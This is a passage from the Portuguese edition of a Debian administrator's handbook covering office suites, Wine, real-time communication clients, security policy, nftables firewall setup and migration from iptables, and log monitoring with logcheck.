→ https://glade.gnome.org/

13.6.2. Ferramentas para Qt

As aplicações equivalentes para aplicativos Qt são o KDevelop (da KDE) (no pacote kdevelop) para o ambiente de desenvolvimento, e o Qt Designer (no pacote qttools5-dev-tools) para o projeto de interfaces gráficas para as aplicações Qt.

KDevelop também é um IDE genérico e fornece plugins para outras linguagens como Python e PHP e diferentes sistemas de construção.

13.7. Suítes de Escritório

Softwares de escritório têm sido vistos há muito tempo como uma lacuna a ser preenchida no mundo do software livre. Usuários(as) pedem substitutos para as ferramentas da Microsoft como Word e Excel, mas elas são tão complexas que substitutos eram difíceis de desenvolver. A situação mudou quando a Sun lançou o código do StarOffice como OpenOffice sob um licença livre, um projeto que mais tarde deu à luz ao LibreOffice, o qual está disponível no Debian. O projeto KDE também tem sua própria suíte de escritório chamada Calligra Suite (anteriormente KOffice), e a GNOME, mesmo que não oferecendo uma suíte de escritório completa, fornece AbiWord como processador de texto e Gnumeric como planinha de cálculo. Cada um desses projetos tem suas próprias vantagens. Por exemplo, a planilha de cálculo Gnumeric é melhor que OpenOffice.org/LibreOffice em alguns domínios, notavelmente a precisão de seus cálculos. Na frente de processamento de texto, a suíte LibreOffice ainda lidera o caminho.

Outro importante recurso para usuários(as) é a habilidade de importar documentos Microsoft Office. Mesmo que todas as suítes de escritório tenham este recurso, apenas OpenOffice.org e LibreOffice são funcionais o suficiente para uso diário.

UMA VISÃO MAIS AMPLA LibreOffice substitui OpenOffice.org

Os(As) contribuidores(as) do OpenOffice.org organizaram uma fundação, (The Document Foundation), para promover o desenvolvimento do projeto. A ideia ficou em discussão por um tempo, mas o gatilho real foi a aquisição da Sun pela Oracle. A nova proprietária tornou incerto o futuro do OpenOffice sob a Oracle. Como a Oracle declinou se juntar à fundação, os(as) desenvolvedores(as) tiveram que desistir do nome OpenOffice.org. A suíte de escritório agora é conhecida como LibreOffice e está disponível no Debian.

Após um período de relativa estagnação no OpenOffice.org, a Oracle doou o código e direitos associados para a Apache Software Foundation, e o OpenOffice agora é um projeto Apache. Este projeto não está disponível atualmente no Debian e está relativamente parado quando comparado ao LibreOffice.

O LibreOffice e o Calligra Suite estão disponíveis nos pacotes Debian libreoffice e calligra, respectivamente.

Pacotes de idiomas específicos para o LibreOffice são distribuídos em pacotes separados, mais notavelmente libreoffice-l10n-* e libreoffice-help-*. Alguns recursos, como dicionários ortográficos, padrões de hifenização (divisão silábica) e dicionários de sinônimos estão em pacotes separados, como myspell-*, hunspell-*, hyphen-* e mythes-*.

13.8. Emulando o Windows: Wine

Apesar de todos os esforços mencionados previamente, ainda existe um número de ferramentas sem um equivalente no Linux, ou para as quais a versão original é absolutamente necessária. É ai que sistemas de emulação do Windows vêm a calhar. O mais bem conhecido entre eles é o Wine.

→ https://www.winehq.org/

COMPLEMENTOS CrossOver Linux

CrossOver, produzido pela CodeWeavers, é um conjunto de melhorias para Wine que amplia o conjunto de recursos de emulação a um ponto em que o Microsoft Office se torna totalmente usável. Algumas das melhorias são periodicamente fundidas ao Wine.

→ https://www.codeweavers.com/products/

No entanto, deve-se ter em mente que ele é apenas uma solução entre outras, e que o problema também pode ser combatido com uma máquina virtual ou VNC; ambas as soluções são detalhadas nas barras laterais ALTERNATIVA Máquinas virtuais e ALTERNATIVA Windows Terminal Server ou VNC.

Vamos começar com um lembrete: a emulação permite a execução de um programa (desenvolvido para um sistema específico) em um sistema hospedeiro diferente. O software de emulação usa o sistema hospedeiro, aonde a aplicação roda, para imitar as características necessárias de determinado sistema.

Agora vamos instalar os pacotes necessários (ttf-mscorefonts-installer está na seção contrib):

# apt install wine ttf-mscorefonts-installer

Em um sistema 64 bit (amd64), se os seus aplicativos Windows são aplicativos 32 bit, então você terá que habilitar multi-arch para ser capaz de instalar o wine32 a partir da arquitetura i386 ( veja Seção 5.4.5, “Suporte Multi-Arqu”).

O usuário então precisa executar winecfg e configurar quais locais (no Debian) são mapeados para quais unidades (no Windows). winecfg tem alguns padrões sensatos e pode detectar automaticamente mais algumas unidades; observe que mesmo se você tiver um sistema de inicialização dupla, você não deve apontar a unidade C: para onde a partição do Windows está montada no Debian, pois o Wine provavelmente sobrescreverá alguns dos dados dessa partição , tornando o Windows inutilizável. Outras configurações podem ser mantidas em seus valores padrão. Para executar programas do Windows, primeiro você precisará instalá-los executando o instalador (Windows) no Wine, com um comando como wine .../setup.exe; uma vez instalado o programa, você pode executá-lo com wine .../program.exe. A localização exata do arquivo program.exe depende de onde a unidade C: é mapeada; em muitos casos, no entanto, simplesmente executar o wine programa funcionará, pois o programa geralmente é instalado em um local onde o Wine o procurará sozinho.

DICA Trabalhando em torno de uma falha no winecfg

Em alguns casos, winecfg (que é apenas um wrapper) pode falhar. Como solução alternativa, é possível tentar executar o comando subjacente manualmente: wine64 /usr/lib/x86_64-linux-gnu/wine/wine/winecfg.exe.so ou wine32 / usr/lib/i386-linux-gnu/wine/wine/winecfg.exe.so.

Note que você não deve se basear no Wine (ou soluções similares) sem realmente testar o software em particular: apenas um teste de uso real irá determinar conclusivamente se a emulação é totalmente funcional.

ALTERNATIVA Máquinas virtuais

Uma alternativa para emular o sistema operacional da Microsoft é realmente executá-lo em uma máquina virtual que emula uma máquina de hardware completo. Isso permite a execução de qualquer sistema operacional. Capítulo 12, Administração Avançada descreve vários sistemas de virtualização, principalmente Xen e KVM (mas também QEMU, VMWare e VirtualBox).

ALTERNATIVA Windows Terminal Server ou VNC

Ainda outra possibilidade é rodar, remotamente, aplicações legadas do Windows em um servidor central com Windows Terminal Server e acessar a aplicação a partir de máquinas Linux usando o rdesktop. Ele é um cliente Linux para o protocolo RDP (Remote Desktop Protocol) que o Windows NT/2000 Terminal Server usa para exibir a área de trabalho em máquinas remotas.

O software VNC provê recursos similares, com o benefício adicional de também trabalhar com muitos sistemas operacionais. Clientes e servidores VNC Linux são descritos em Seção 9.2, “Login remoto”.

13.9. Softwares de Comunicação em Tempo Real

O Debian fornece uma ampla variedade de software cliente de Comunicações em Tempo Real (RTC). A configuração dos servidores RTC é discutida em Seção 11.8, “Serviços de Comunicação em Tempo Real”. Na terminologia do SIP (Session Initiation Protocol), um aplicativo cliente ou dispositivo também é conhecido como agente do usuário.

Cada aplicação cliente varia em funcionalidade. Algumas aplicações são mais convenientes para intensos usuários de "chat" (bate-papo), enquanto outras aplicações são mais estáveis para usuários de "webcam". Talvez seja necessário testar várias aplicações para identificar aquelas que são mais satisfatórias. Um usuário pode finalmente decidir que ele precise de mais de uma aplicação, por exemplo, uma aplicação XMPP para trocar mensagens com clientes e uma aplicação IRC para colaboração com algumas comunidades "online".

Para maximizar a habilidade de usuários se comunicarem com um mundo mais amplo, é recomendado configurar tanto um cliente SIP quanto um cliente XMPP, ou um único cliente que tenha suporte a ambos os protocolos.

O ambiente de trabalho gráfico GNOME sugere o cliente de comunicação Empathy. O Empathy tem suporte ao SIP e ao XMPP. Ele suporta mensagens instantâneas (instant messaging - IM), voz e vídeo. O projeto KDE fornece o KDE Telepathy, um cliente de comunicação baseado nas mesmas APIs subjacentes do Telepathy usadas pelo cliente Empathy do GNOME.

Alternativas populares para Empathy/Telepathy incluem Ekiga, Linphone, Psi, Jitsi e Jami (anteriormente conhecido como Ring).

O Jitsi não requer nenhum cliente além de um navegador da web. Ele suporta chamadas criptografadas e há uma lista enorme de instâncias públicas. Não existe um pacote oficial do Debian para o Jitsi, mas ele pode ser baixado do site oficial.

Algumas dessas aplicações também podem interagir com usuários(as) móveis usando aplicações como Lumicall no Android.

→ https://lumicall.org

O Guia para Início Rápido em Comunicações em Tempo Real tem um capítulo dedicado a software cliente.

→ http://rtcquickstart.org/guide/multi/useragents.html

DICA Procure por clientes com suporte a ICE e TURN

Alguns clientes RTC tem significantes problemas em enviar voz e vídeo através de firewalls e redes NAT. Os usuários podem receber chamadas fantasmas (seus telefones tocam mas eles não escutam a outra pessoa) ou eles talvez não sejam capazes de fazer nenhuma chamada.

Os protocolos ICE e TURN foram desenvolvidos para resolver esses problemas. Operar um servidor TURN com endereços IP públicos em cada site e usando software cliente que tenha suporte ICE e TURN resulta na melhor experiência de usuário.

Se o software cliente tem como objetivo apenas a mensagem instantânea, não existe necessidade de suporte para ICE ou TURN.

ALTERNATIVA Internet Relay Chat

O IRC também pode ser considerado, em adição ao SIP e XMPP. O IRC é mais centrado no conceito de canais, o nome que começa com um cardinal #. Cada canal geralmente é direcionado para um tópico específico e não há limite de número de pessoas que podem participar do canal para participar da discussão (mas os usuários ainda podem ter conversas privadas entre duas pessoas se necessário). O protocolo IRC é antigo, e não permite a criptografia fim-a-fim de mensagens; mas é possível criptografar as comunicações entre usuários e o servidor fazendo o tunelamento do protocolo IRC dentro do SSL.

Clientes IRC são um pouco mais complexo, e eles costumam fornecem muitos recursos que são de uso limitado em um ambiente corporativo. Por exemplo, "operadores" do canal são usuários dotados com a capacidade de retirar outros usuários de um canal, ou mesmo bani-los permanentemente, quando uma discussão normal é perturbada.

Como o protocolo IRC é muito antigo, muitos clientes estão disponíveis para atender a muitos grupos de usuários(as); exemplos incluem XChat e Smuxi (clientes gráficos baseados no GTK+), Irssi (modo texto), Circe (integrado ao Emacs) e assim por diante.

Capítulo 14. Segurança

Um sistema de informação pode ter variados níveis de importância, dependendo do ambiente. Em alguns casos, é vital para a sobrevivência de uma empresa. Deve, portanto, ser protegido de vários tipos de riscos. O processo de avaliação desses riscos, definição e execução da proteção é coletivamente conhecido como o "processo de segurança".

14.1. Definindo uma Política de Segurança

ATENÇÃO Escopo deste capítulo

Segurança é um assunto vasto e muito delicado, por isso não podemos afirmar que vamos descrevê-lo de forma abrangente no curso de um único capítulo. Nós apenas delimitaremos alguns pontos importantes e descreveremos algumas das ferramentas e métodos que podem ser úteis no domínio da segurança. Para ler mais, a literatura é abundante, e livros inteiros foram dedicados ao assunto.

A palavra "segurança" em si abrange uma vasta gama de conceitos, ferramentas e procedimentos, nenhum dos quais se aplicam universalmente. Escolher entre eles requer uma ideia precisa de quais são seus objetivos. Cuidar da segurança de um sistema começa responder a algumas perguntas. Ao se focar afobadamente na implementação de um conjunto arbitrário de ferramentas corre-se o risco de se concentrar nos aspectos errados da segurança.

A primeira coisa a determinar é, portanto, o objetivo. Uma boa abordagem para ajudar com esta determinação começa com as seguintes perguntas:

O que estamos tentando proteger? A política de segurança vai ser diferente, dependendo se queremos proteger os computadores ou dados. Neste último caso, também precisamos saber quais os dados.

Contra o que estamos tentando proteger? Vazamento de dados confidenciais? Perda acidental de dados? Perda de receita causada pela interrupção do serviço?

Além disso, de quem estamos tentando proteger? As medidas de segurança vão ser muito diferentes para se proteger contra um erro de digitação por um usuário regular do sistema do que quando a proteção for contra um determinado grupo atacante.

O termo "risco" é normalmente usado para se referir coletivamente a esses três fatores: o que proteger, o que precisa ser impedido de acontecer, e que vai tentar fazer isso acontecer. Modelagem do risco requer respostas a estas três perguntas. A partir deste modelo de risco, uma política de segurança pode ser construída, e a política pode ser implementada com ações concretas.

NOTA Questionamento permanente

Bruce Schneier, um especialista mundial em matéria de segurança (e não apenas a segurança do computador) tenta combater um dos mitos mais importantes de segurança com um lema: "Segurança é um processo, não um produto". Ativos a serem protegidos mudam no tempo, assim como ameaças e os meios disponíveis para potenciais agressores. Mesmo se uma política de segurança foi inicialmente perfeitamente desenhada e implementada, nunca se deve descansar sobre seus louros. Os componentes de risco evoluem, e a resposta a esse risco deve evoluir nesse sentido.

Restrições adicionais também devem ser levadas em conta, uma vez que podem restringir o leque de políticas disponíveis. Até onde estamos dispostos a ir para proteger um sistema? Esta questão tem um grande impacto sobre a política a implementar. A resposta é muitas vezes definida apenas em termos de custos monetários, mas os outros elementos devem também ser considerados, tais como a quantidade de inconveniência imposta aos usuários do sistema ou degradação do desempenho.

Uma vez que o risco foi modelado, pode-se começar a pensar sobre a criação de uma política de segurança real.

NOTA Políticas extremas

Há casos em que a escolha das ações necessárias para proteger um sistema é extremamente simples.

Por exemplo, se o sistema a ser protegido é apenas um computador de segunda mão, cuja única utilização consiste em adicionar alguns números no final do dia, decidir não fazer nada especial para protegê-lo seria bastante razoável. O valor intrínseco do sistema é baixo. O valor dos dados é igual a zero, uma vez que não são armazenados no computador. Um atacante potencial infiltrando este "sistema" só ganharia uma calculadora pesada. O custo de proteger tal sistema seria provavelmente maior do que o custo de uma violação.

No outro extremo do espectro, podemos querer proteger a confidencialidade de dados secretos da forma mais abrangente possível, superando qualquer outra consideração. Neste caso, uma resposta apropriada seria a destruição total destes dados (apagando de forma segura os arquivos, triturando os discos rígidos em pedaços, em seguida, dissolvendo estes bits em ácido, e assim por diante). Se houver um requisito adicional de que os dados devem ser mantidos guardados para uso futuro (embora não necessariamente prontamente disponível), e se o custo ainda não é um fator, então, um ponto de partida seria armazenar os dados em placas de liga leve de irídio-platina armazenados em depósitos à prova de bomba sob várias montanhas no mundo, cada uma das quais, é claro, completamente secreta e guardada por exércitos inteiros…

Esses exemplos podem parecer extremos, eles, no entanto, são uma resposta adequada aos riscos definidos, na medida em que eles são o resultado de um processo de pensamento que leva em conta os objetivos a atingir e as limitações a cumprir. Ao vir de uma decisão fundamentada, nenhuma política de segurança é menos respeitável do que qualquer outra.

Na maioria dos casos, o sistema de informação pode ser segmentado em subconjuntos consistentes e na maior parte independentes. Cada subsistema terá suas próprias exigências e restrições, e assim a avaliação do risco e do projeto da política de segurança deve ser realizado separadamente para cada um. Um bom princípio para se manter em mente é que um perímetro pequeno e bem definido é mais fácil de defender do que uma fronteira longa e sinuosa. A organização da rede também deve ser concebida de acordo: os serviços sensíveis devem ser concentrados em um pequeno número de máquinas, e estas máquinas só devem ser acessíveis através de um número mínimo de pontos de verificação; proteger estes pontos de verificação será mais fácil do que proteger todos as máquinas sensíveis contra a totalidade do mundo exterior. É neste ponto que a utilidade de filtragem de rede (incluindo por firewalls) se torna aparente. Esta filtragem pode ser implementada com hardware dedicado, mas uma solução possivelmente mais simples e mais flexível é usar um firewall em software, como por exemplo o integrado no núcleo do Linux.

14.2. Firewall ou Filtragem de pacotes

DE VOLTA AO BÁSICO Firewall

Um firewall é uma peça de equipamento de informática com hardware e/ou software que classifica os pacotes de entrada ou saída de rede (chegando de ou indo para uma rede local) e só deixa passar aqueles satisfazendo certas condições pré-definidas.

Um firewall é um portal de filtragem da saída de rede e é efetivo apenas em pacotes que devem passar por ele. Portanto, o firewall só será eficaz quando a única rota para estes pacotes for através dele.

CASO ESPECÍFICO Firewall Local

Um firewall pode ser restrito a uma determinada máquina (em oposição a uma rede completa), caso em que seu papel é o de filtrar ou restringir o acesso a alguns serviços. No entanto, é sempre melhor configurar os serviços para não escutar nessas interfaces de rede, onde esses serviços não deveriam ser oferecidos, ou desabilitar e remover serviços, que não devem ser oferecidos, do que usar um filtro de pacotes para impedir qualquer acesso indesejado a esses serviços.

Sua função também pode ser a de filtrar ou limitar as conexões de softwares maliciosos ou mal programados que um usuário poderia, voluntariamente ou não, ter instalado. A confiabilidade disso, no entanto, depende muito do objetivo dessas ações e da integridade do próprio sistema. Esta ação não é uma medida para evitar possíveis ameaças ao envio de dados.

O kernel do Linux incorpora o firewall netfilter, que pode ser controlado a partir do espaço do usuário com os comandos iptables, ip6tables, arptables e ebtables.

Entretanto, comandos iptables do Netfilter estão sendo substituídos pelo nftables, o que evita muitos destes problemas. Seu projeto envolve menos duplicação de código, e pode ser gerenciado apenas com o comando nft. O Debian Buster, a estrutura nftables é usada por padrão. Os comandos mencionados anteriormente são fornecidos por versões, que usam a API do kernel nftables, por padrão. Se alguém requer os comandos “clássicos“, os binários relevantes podem ser ajustados usando update-alternatives.

FERRAMENTAS fwbuilder anbd ufw

Embora (destinado a) ser substituído por nftables, iptables ainda é amplamente usado e adequado para muitos casos de uso. A criação de uma regra requer uma chamada de iptables/ip6tables. Digitar esses comandos manualmente pode ser tedioso, então as chamadas geralmente são armazenadas em um script, para que a mesma configuração seja definida automaticamente toda vez que a máquina inicializar, ou podem ser feitas “persistentes“ usando iptables-persistente.

Um script geralmente precisa ser escrito à mão. Mas existem ferramentas que simplificam a configuração do firewall netfilter, com uma representação gráfica das regras de filtragem. O fwbuilder está sem dúvida entre os melhores. As regras são criadas com ações simples de arrastar e soltar em objetos (interfaces, redes, portas, servidores, etc.). Alguns menus contextuais podem alterar a condição (negando-a, por exemplo). Em seguida, a ação precisa ser escolhida e configurada.

Uma alternativa para gravar e salvar/carregar as regras necessárias é usar ufw do pacote com o mesmo nome. Esta ferramenta também é uma interface para iptables, mas fornece apenas uma interface de linha de comando. Comandos simples podem habilitar ou desabilitar (bloquear) o tráfego de rede de e para portas e endereços IP. Os arquivos de configuração em /etc/ufw/ também permitem conjuntos de regras complexas (por exemplo, conexão com as cadeias do Docker), que são salvas e carregadas automaticamente. Essa ferramenta é frequentemente usada para configurações simples e para bloquear o tráfego de entrada em portas que não podem ser atribuídas a um conjunto limitado de interfaces ou fechadas adequadamente.

Para habilitar um firewall padrão no Debian execute:

# apt install -y nftables Lendo listas de pacotes... Pronto ... # systemctl enable nftables.service Created symlink /etc/systemd/system/sysinit.target.wants/nftables.service → /lib/systemd/system/nftables.service.

14.2.1. Comportamento do nftables

Enquanto o núcleo está processando um pacote de rede, ele pausa e nos permite inspecionar o pacote e decidir o que fazer com ele. Por exemplo, poderíamos descartar certos pacotes de entrada, modificar outros pacotes de diversas formas, bloquear certos pacotes de saída para controle contra malware, ou redirecionar alguns pacotes o quanto antes para fazer uma ponte entre interfaces de rede ou para distribuir a carga de pacotes de entrada entre sistemas.

Um bom entendimento das camadas 3, 4 e 5 do modelo OSI (Open Systems Interconnection) é essencial para obter o máximo do netfilter.

CULTURA O modelo OSI

O modelo OSI é um modelo conceitual para implementar protocolos de rede sem se preocupar com as tecnologias e estruturas internas que estão por trás. O objetivo é a interoperabilidade de diversos sistemas de comunicações com protocolos de comunicações padrão.

Este modelo foi definido no padrão ISO/EIC 7498. As sete camadas seguintes são descritas:

Física: transmissão e recepção de fluxos puros de bits através de um meio físico

Link de dados: transmissão confiável de frames de dados entre dois nós conectados por uma camada física

Rede: estruturar e gerenciar uma rede multinós, incluindo endereçamento, roteamento e controle de tráfego

Transporte: transmissão confiável de segmentos de dados entre pontos em uma rede, incluindo segmentação, reconhecimento e multiplexação

Sessão: gerenciamento de comunicação de sessões, ou seja, troca contínua de informações na forma de transmissões ida e volta entre dois nós

Apresentação: tradução de dados entre um serviço de rede e uma aplicação; incluindo codificação de caracteres, compressão de dados e criptografia/descriptografia

Aplicação: APIs de alto nível, incluindo o compartilhamento de recursos, acesso a arquivos remotos.

Mais informações podem ser encontradas na Wikipédia:

→ https://en.wikipedia.org/wiki/OSI_model

O firewall é configurado com tabelas (tables), que contêm regras(rules) contidas em cadeias (chains). Ao contrário do iptables, nftables não possui nenhuma tabela padrão. O usuário decide quais e quantas tabelas criar. Cada tabela deve ter apenas uma das seguintes cinco famílias assinadas: ip, ip6, inet, arp e bridge. Usa-se ip se a família não é especificada.

Há dois tipos de cadeias: cadeias de base e cadeias regulares. Uma cadeia de base é um ponto de entrada para pacotes da pilha de rede. Cadeias de base são registradas nos hooks do Netfilter, ou seja, essas cadeias vêem pacotes fluindo através da pilha TCP/IP. Por outro lado, uma cadeia regular não está anexada a qualquer hook, então não vê qualquer tráfego. Mas pode ser usada como um destino de salto para melhor organização das regras.

Regras são feitas de declarações, que incluem algumas expressões que devem ser correspondidas, e então uma declaração final, como accept, drop, queue, continue, return, jump chain e goto chain.

DE VOLTA AO BÁSICO ICMP

ICMP (Mensagem de Controle da Internet É o protocolo usado para transmitir informações complementares sobre as comunicações. Permite testar a conectividade de rede com o comando ping (que envia uma mensagem ICMP echo request (solicitação de eco), que o destinatário deve responder com uma mensagem ICMP echo reply) (resposta echo). Ele sinaliza quando um firewall está rejeitando um pacote, indica um estouro de memoria no buffer de recebimento, propõe uma melhor rota para os pacotes seguintes na conexão, e assim por diante. Este protocolo é definido por vários documentos RFC, o inicial RFC777 e RFC792 logo foram concluídos e ampliados.

→ http://www.faqs.org/rfcs/rfc777.html

→ http://www.faqs.org/rfcs/rfc792.html

Para referência, um buffer de recepção é uma pequena região de memória para armazenamento de dados entre o tempo que chega na rede e o tempo que o kernel o manipula. Se esta região está cheia, os novos dados não podem ser recebidos, e o ICMP sinaliza o problema, de modo que o emissor possa diminuir a sua taxa de transferência (que deve, idealmente, chegar a um equilíbrio após algum tempo).

Observe que, embora uma rede IPv4 possa funcionar sem ICMP, ICMPv6 é estritamente necessário para uma rede IPv6, uma vez que combina várias funções que eram, no mundo IPv4, espalhadas por ICMPv4, IGMP (Internet Group Membership Protocol) e ARP (Address Resolution Protocol). ICMPv6 é definido na RFC 4443.

→ http://www.faqs.org/rfcs/rfc4443.html

14.2.2. Migrando de iptables para nftables

Os comandos iptables-translate e ip6tables-translate podem ser usados para traduzir comandos iptables antigos para a nova sintaxe nftables. Conjuntos completos de regras também podem ser traduzidos no caso em que migremos as regras configuradas em um computador no qual o Docker está instalado:

# iptables-save > iptables-ruleset.txt # iptables-restore-translate -f iptables-ruleset.txt # Translated by iptables-restore-translate v1.8.7 on Wed Mar 16 22:06:32 2022 add table ip filter add chain ip filter INPUT { type filter hook input priority 0; policy accept; } add chain ip filter FORWARD { type filter hook forward priority 0; policy drop; } add chain ip filter OUTPUT { type filter hook output priority 0; policy accept; } add chain ip filter DOCKER add chain ip filter DOCKER-ISOLATION-STAGE-1 add chain ip filter DOCKER-ISOLATION-STAGE-2 add chain ip filter DOCKER-USER add rule ip filter FORWARD counter jump DOCKER-USER add rule ip filter FORWARD counter jump DOCKER-ISOLATION-STAGE-1 add rule ip filter FORWARD oifname "docker0" ct state related,established counter accept add rule ip filter FORWARD oifname "docker0" counter jump DOCKER add rule ip filter FORWARD iifname "docker0" oifname != "docker0" counter accept add rule ip filter FORWARD iifname "docker0" oifname "docker0" counter accept add rule ip filter DOCKER-ISOLATION-STAGE-1 iifname "docker0" oifname != "docker0" counter jump DOCKER-ISOLATION-STAGE-2 add rule ip filter DOCKER-ISOLATION-STAGE-1 counter return add rule ip filter DOCKER-ISOLATION-STAGE-2 oifname "docker0" counter drop add rule ip filter DOCKER-ISOLATION-STAGE-2 counter return add rule ip filter DOCKER-USER counter return add table ip nat add chain ip nat PREROUTING { type nat hook prerouting priority -100; policy accept; } add chain ip nat INPUT { type nat hook input priority 100; policy accept; } add chain ip nat OUTPUT { type nat hook output priority -100; policy accept; } add chain ip nat POSTROUTING { type nat hook postrouting priority 100; policy accept; } add chain ip nat DOCKER add rule ip nat PREROUTING fib daddr type local counter jump DOCKER add rule ip nat OUTPUT ip daddr != 127.0.0.0/8 fib daddr type local counter jump DOCKER add rule ip nat POSTROUTING oifname != "docker0" ip saddr 172.17.0.0/16 counter masquerade add rule ip nat DOCKER iifname "docker0" counter return # Completed on Wed Mar 16 22:06:32 2022 # iptables-restore-translate -f iptables-ruleset.txt > ruleset.nft # nft -f ruleset.nft # nft list ruleset table inet filter { chain input { type filter hook input priority filter; policy accept; } chain forward { type filter hook forward priority filter; policy accept; } chain output { type filter hook output priority filter; policy accept; } } table ip nat { chain DOCKER { iifname "docker0" counter packets 0 bytes 0 return iifname "docker0" counter packets 0 bytes 0 return } chain POSTROUTING { type nat hook postrouting priority srcnat; policy accept; oifname != "docker0" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade oifname != "docker0" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade } chain PREROUTING { type nat hook prerouting priority dstnat; policy accept; fib daddr type local counter packets 1 bytes 60 jump DOCKER fib daddr type local counter packets 0 bytes 0 jump DOCKER } chain OUTPUT { type nat hook output priority -100; policy accept; ip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump DOCKER ip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump DOCKER } chain INPUT { type nat hook input priority 100; policy accept; } } table ip filter { chain DOCKER { } chain DOCKER-ISOLATION-STAGE-1 { iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2 counter packets 0 bytes 0 return iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2 counter packets 0 bytes 0 return } chain DOCKER-ISOLATION-STAGE-2 { oifname "docker0" counter packets 0 bytes 0 drop counter packets 0 bytes 0 return oifname "docker0" counter packets 0 bytes 0 drop counter packets 0 bytes 0 return } chain FORWARD { type filter hook forward priority filter; policy drop; counter packets 0 bytes 0 jump DOCKER-USER counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1 oifname "docker0" ct state related,established counter packets 0 bytes 0 accept oifname "docker0" counter packets 0 bytes 0 jump DOCKER iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 accept iifname "docker0" oifname "docker0" counter packets 0 bytes 0 accept counter packets 0 bytes 0 jump DOCKER-USER counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1 oifname "docker0" ct state established,related counter packets 0 bytes 0 accept oifname "docker0" counter packets 0 bytes 0 jump DOCKER iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 accept iifname "docker0" oifname "docker0" counter packets 0 bytes 0 accept } chain DOCKER-USER { counter packets 0 bytes 0 return counter packets 0 bytes 0 return } chain INPUT { type filter hook input priority filter; policy accept; } chain OUTPUT { type filter hook output priority filter; policy accept; } }

As ferramentas iptables-nft, ip6tables-nft, arptables-nft, ebtables-nft são versões de iptables que usam a API nftables, de modo que os(as) usuários(as) podem continuar usando a antiga sintaxe iptables com elas, mas isto não é recomendado; essas ferramentas somente devem ser usadas para retrocompatibilidade.

14.2.3. Sintaxe do ntf

Os comandos nft permitem manipular tabelas, cadeias e regras. A opção table suporta múltiplas operações: add, create, delete, list e flush. O comando nft add table ip6 mangle adiciona uma nova tabela da família ip6.

Para inserir uma nova cadeia de base na tabela de filtro, você pode executar o seguinte comando (observe que o ponto e virgula é protegido por uma barra invertida quando se usa o Bash):

# nft add chain filter input { type filter hook input priority 0 \; }

Regras são geralmente adicionadas com a seguinte sintaxe: nft add rule [família] tabela cadeia handle handle statement.

insert é semelhante ao comando add, mas a regra fornecida é anexada ao início da cadeia ou antes da regra com o identificador fornecido, em vez de no final ou depois da regra. Por exemplo, o comando a seguir insere uma regra antes da regra com o manipulador número 8:

# nft insert rule filter output position 8 ip daddr 127.0.0.8 drop

Os comandos nft executados não fazem modificações permanentes na configuração, por isso serão perdidas se não forem salvas. As regras de firewall estão localizadas em /etc/nftables.conf. Uma maneira simples de gravar a configuração de firewall permanentemente é executar nft list ruleset > /etc/nftables.conf como root.

nft permite muitas outras operações, consulte sua página de manual nft(8) para mais informações.

14.2.4. Instalando as Regras em Cada Inicialização

Para habilitar um firewall padrão no Debian, você precisa armazenar as regras em /etc/nftables.conf e executar systemctl enable nftables como root. Você pode parar o firewall executando nft flush ruleset como root.

Em outros casos, a maneira recomendada é registrar o script de configuração em diretivas up do /etc/network/interfaces. No exemplo a seguir, o script é armazenado em /usr/local/etc/arrakis.fw.

Exemplo 14.1. arquivo interfaces chamando script firewall

auto eth0 iface eth0 inet static address 192.168.0.1 network 192.168.0.0 netmask 255.255.255.0 broadcast 192.168.0.255 up /usr/local/etc/arrakis.fw

Isso obviamente assume que você está usando o ifupdown para configurar as interfaces de rede. Se você está usando algo diferente (como o NetworkManager ou systemd-networkd), então consulte suas respectivas documentações para encontrar maneiras de executar um script após a interface ter sido levantada.

14.3. Supervisão: Prevenção, Detecção, Desencorajamento

O monitoramento é uma parte integrante de qualquer política de segurança por várias razões. Entre elas, que o objetivo da segurança não é normalmente restrito a garantir a confidencialidade dos dados, mas também inclui a disponibilidade assegurada dos serviços. Portanto, é imperativo verificar se tudo funciona como esperado, e para detectar em tempo hábil qualquer desvio no comportamento ou mudança na qualidade do(s) serviço(s) entregue(s). A atividade de monitoramento pode ajudar a detectar tentativas de invasão e permitir uma reação rápida antes que elas causem consequências graves. Esta seção analisa algumas ferramentas que podem ser usadas para monitorar vários aspectos de um sistema Debian. Como tal, completa Seção 12.4, “Monitoramento”.

14.3.1. Monitoramento de Logs com logcheck

O programa logcheck monitora arquivos de log a cada hora por padrão. Ele envia mensagens de log incomuns em e-mails para o administrador, para posterior análise.

A lista de arquivos monitorados é armazenada em /etc/logcheck/logcheck.logfiles, os valores padrão funcionam bem se o arquivo /etc/rsyslog.conf não foi completamente refeito.

logcheck pode trabalhar em um dos três modos mais ou menos detalhados: paranoid, server e workstation. O primeiro é muito verboso, e provavelmente deve ser restrito a servidores específicos, tais como firewalls. O segundo modo (e padrão) é recomendado para a maioria dos servidores. O último é projetado para estações de trabalho, e é ainda mais suscinto (filtra ainda mais mensagens).

Nos três casos, o logcheck provavelmente deve ser personalizado para excluir algumas mensagens extras (dependendo dos serviços instalados), a menos que o administrador realmente deseje receber lotes por hora de longos e-mails desinteressantes. Uma vez que o mecanismo de seleção de mensagem é bastante complexo, /usr/share/doc/logcheck-database/README.logcheck-database.gz é uma leitura necessária - quiçá desafiadora.

As regras aplicadas podem ser divididas em vários tipos:

aquelas que qualificam uma mensagem como uma tentativa de invasão (armazenada em um arquivo no diretório /etc/logcheck/cracking.d/);

aquelas cancelando essas qualificações (/etc/logcheck/cracking.ignore.d/);

aquelas classificando uma mensagem como um alerta de segurança (/etc/logcheck/violations.d/);

aquelas cancelando esta classificação (/etc/logcheck/violations.ignore.d/);

e finalmente, as que se aplicam às mensagens restantes (consideradas como eventos de sistema).

ATENÇÃO Ignorando uma mensagem

Qualquer mensagem marcada como uma tentativa de invasão ou um alerta de segurança (seguindo uma regra armazenada em um arquivo /etc/logcheck/violations.d/myfile) só pode ser ignorada por uma regra em arquivos /etc/logcheck/violations.ignore.d/myfile ou /etc/logcheck/violations.ignore.d/myfile-extension.

